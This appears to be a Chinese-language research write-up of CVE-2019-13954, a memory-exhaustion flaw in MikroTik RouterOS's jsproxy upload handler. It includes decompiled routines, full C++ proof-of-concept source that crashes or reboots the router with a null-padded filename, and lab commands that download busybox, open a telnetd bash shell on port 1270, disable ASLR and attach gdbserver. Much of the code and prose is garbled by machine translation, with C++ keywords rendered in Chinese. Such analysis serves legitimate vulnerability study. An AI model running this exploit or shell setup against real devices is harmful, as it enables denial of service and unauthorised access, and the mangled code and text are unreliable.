CVE-2019-13954
是MikroTik RouterOS
中的一个memory exhaustion
漏洞。认证的用户通过构造并发送特殊的POST
请求,服务程序在处理POST
请求时会出现“死”循环memory exhaustion
,导致,导致服务程序崩溃或系统重启。"/jsproxy/upload"
,在6.42.11
版本中:int __cdecl JSProxyServlet :: doUpload ( int a1 , int a2 , Headers * a3 , Headers * a4 ) { //...
while ( 1 )
{
sub_51F7 ( v37 , & s1 ); //读取请求POST
if ( ! s1 )
break ;
v14 = - 1 ;
v15 = & s1 ;
做
{
如果 ( ! v14 )
休息;
v16 = * v15 ++ == 0 ;
-- v14 ;
}
而 ( ! v16 );
if ( v14 != 0x100u ) //数据长度限制
{
v36 = 0 ;
字符串::字符串((字符串 * ) & v46 , & s1 );
v17 = 标题:: parseHeaderLine ((标头 * ) & v47 , ( const string * ) & v46 );
字符串:: freeptr ((字符串 * ) & v46 );
如果 ( v17 )
继续;
}
字符串::字符串((字符串 * ) & v46 , "" );
响应:: sendError ( a4 , 400 , ( const string * ) & v46 );
字符串:: freeptr ((字符串 * ) & v46 ); LABEL_60 :
tree_base :: clear ( v19 , v18 , & v47 , map_node_destr < string , HeaderField > );
转到 LABEL_61 ;
}
//... }
0x100
(包括最后的'\x00'
)循环时会跳出int __cdecl JSProxyServlet :: doUpload ( int a1 , int a2 , Headers * a3 , Headers * a4 ) {
// ...
while ( 1 )
{
sub_77464E9F ( v27 , ( char * ) s1 ); // 读取POST请求数据
if ( ! LOBYTE ( s1 [ 0 ]) )
break ;
字符串::字符串((字符串 * ) & v36 , ( const char * ) s1 );
v11 = Headers :: parseHeaderLine (( Headers * ) & v37 , ( const string * ) & v36 );
字符串:: freeptr ((字符串 * ) & v36 );
如果 ( !v11 )
{
字符串::字符串((字符串 * ) & v36 , "" );
响应:: sendError ( a4 , 400 , ( const string * ) & v36 );
字符串:: freeptr ((字符串 * ) & v36 );
LABEL_56 :
tree_base :: clear ( v13 , v12 , & v37 , map_node_destr < string , HeaderField >);
转到 LABEL_57 ;
}
}
// ... }
sub_51F7
功能:char * __usercall sub_51F7 @ < eax > ( istream * a1 @ < eax > , char * a2 @ < edx > ) {
const char * v2 ; // esi
char *结果; // eax
unsigned int v4 ; // ecx
v2 = a2 ;
istream :: getline ( a1 , a2 , 0x100u , 10 );
结果 = 0 ;
v4 = strlen ( v2 ) + 1 ;
if ( v4 != 1 )
{
结果 = ( char * ) & v2 [ v4 - 2 ];
如果 ( *结果 == 13 )
*结果 = 0 ;
}
返回 结果;}
sub_51F7
,无法读取到数据Headers::parseHeaderLine()
,解析失败\0
结束。\0
直接结束。\0
\0
,我们可以直接在循环中加入,\0
因此我们可以直接在循环中加入\0
,因此决定了这个判断。\0
已经结束了,那么直接结束,我们就能得到最大的有效负载长度为 0x1000,但是基础触发条件没有了。\0
这样就不会存在最终的问题了,而且可以允许判断,同时大小大于0x100 \\
。filename
备用参数'\x00'
,再次触发漏洞。#include <cstdlib>#include <iostream>#include <boost/cstdint.hpp>#include <boost/program_options.hpp>#include “jsproxy_session.hpp”#include "winbox_message.hpp"命名空间{
const char s_version [] = "CVE-2019-13954 PoC 1.1.0" ;
bool parseCommandLine ( int p_argCount , const char * p_argArray [],
std :: string & p_username , std :: string & p_password ,
std :: string & p_ip , std :: string & p_port )
{
boost :: program_options :: options_description 描述(“选项” );
说明。添加选项()
( "help,h" , "命令行选项列表" )
( "version,v" , "显示版本信息" )
( "username,u" , boost :: program_options :: value < std :: string > (), "登录的用户" )
( "密码" , boost :: program_options :: value < std :: string > (), "登录的密码")
( "端口,p", boost :: program_options :: value < std :: string > () -> default_value ( "80" ), "要连接的 HTTP 端口" )
( "ip,i" , boost :: program_options :: value < std :: string > (), "要连接的 IPv4 地址" );
boost :: program_options :: variables_map argv_map ;
尝试
{
boost :: program_options :: store (
boost :: program_options :: parse_command_line (
p_argCount , p_argArray , description ), argv_map );
}
catch ( const std :: exception & e )
{
std :: cerr << e 。什么() << " \n " << 标准:: endl ;
std :: cerr << 描述 << std :: endl ;
返回 假;
}
boost :: program_options ::通知(argv_map );
if ( argv_map .empty ( ) || argv_map .count ( " help " ) ) { std :: cerr << description << std :: endl ; 返回假;}
if ( argv_map . count ( "version" ))
{
std :: cerr << "版本:" << :: s_version << std :: endl ;
返回 假;
}
if ( argv_map . count ( "username" ) && argv_map . count ( "ip" ) &
argv_map . count ( "port" ))
{
p_username . 分配(argv_map [ “用户名” ] 。as < std :: string > ()); p_ip 。赋值(argv_map [ “ip” ]. as < std :: string >
());
p_port 。分配(argv_map [ “端口” ] 。as < std :: string > ());
if ( argv_map . count ( "password" ))
{
p_password . 分配(argv_map [ “密码” ] 。as < std :: string > ()); }其他{ p_password 。赋值(“” );}返回真;} else { std :: cerr <<描述<< std :: endl ; }
返回 假;
} }int main ( int p_argc , const char ** p_argv ) {
std :: string username ;
标准::字符串 密码;
标准::字符串 ip ;
标准::字符串 端口;
if ( ! parseCommandLine ( p_argc , p_argv , username , password , ip , port ))
{
return EXIT_FAILURE ;
}
JSProxySession jsSession ( ip , 端口);
if ( ! jsSession .connect ( ) ) { std :: cerr << "连接远程主机失败" << std :: endl ; 返回EXIT_FAILURE ;}
// 生成会话密钥但不登录
if ( ! jsSession .negotiateEncryption ( username , password , false ) ) { std :: cerr << "加密协商失败。" << std :: endl ; 返回EXIT_FAILURE ;}
标准::字符串 文件名;
for ( int i = 0 ; i < 0x50 ; i ++ )
{
文件名。push_back ( 'A' );
}
for ( int i = 0 ; i < 0x100 ; i ++ )
{
文件名。push_back ( '\x00' );
}
if ( jsSession . uploadFile (文件名, "lol." ))
{
std :: cout << "success!" << std :: endl ;
}
返回 EXIT_SUCCESS ;}
ip dhcp-client add interface=ether disabled=no
ip dhcp-client print detail
RouterOS
然后用什么样的方式来获取特定的界面比较,还需要用什么样的命令来演示实施改进的设备root shell
。wget https://busybox.net/downloads/binaries/1.30.0-i686/busybox
/rw/disk
并获得授权g777ok; /rw/disk/busybox-i686 telnetd -l /bin/bash -p 1270;
telnet ip port
find / -name wwwfind / -name jsproxy.p
./tools/getROSbin.py 6.42.11 x86 /nova/bin/www www_binary_1./tools/getROSbin.py 6.42.11 x86 /nova/lib/www/jsproxy.p www_binary_2
sudo apt-get install libboost-dev
cve_2019_13954
的poccd cve_2019_13954mkdir buildcd buildcmake ..make
./cve_2019_13954_poc -i 192.168.111.17 -u admin
www
上利用gdbserver
附加到该进程中进行远程调试,然后运行设备脚本PoC
,直接发现系统重启。sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"
./gdbserver.i686 localhost:1234 --attach 267
gdbset architecture i386target remote 192.168.111.17:1234
info proc mappings
查看当前已经加载的模块,可以看到jsproxy已经加载进来了./cve_2019_13954_poc -i 192.168.111.17 -u admin
b *0x774f9000+0x8D08
学习更多技术,关注我: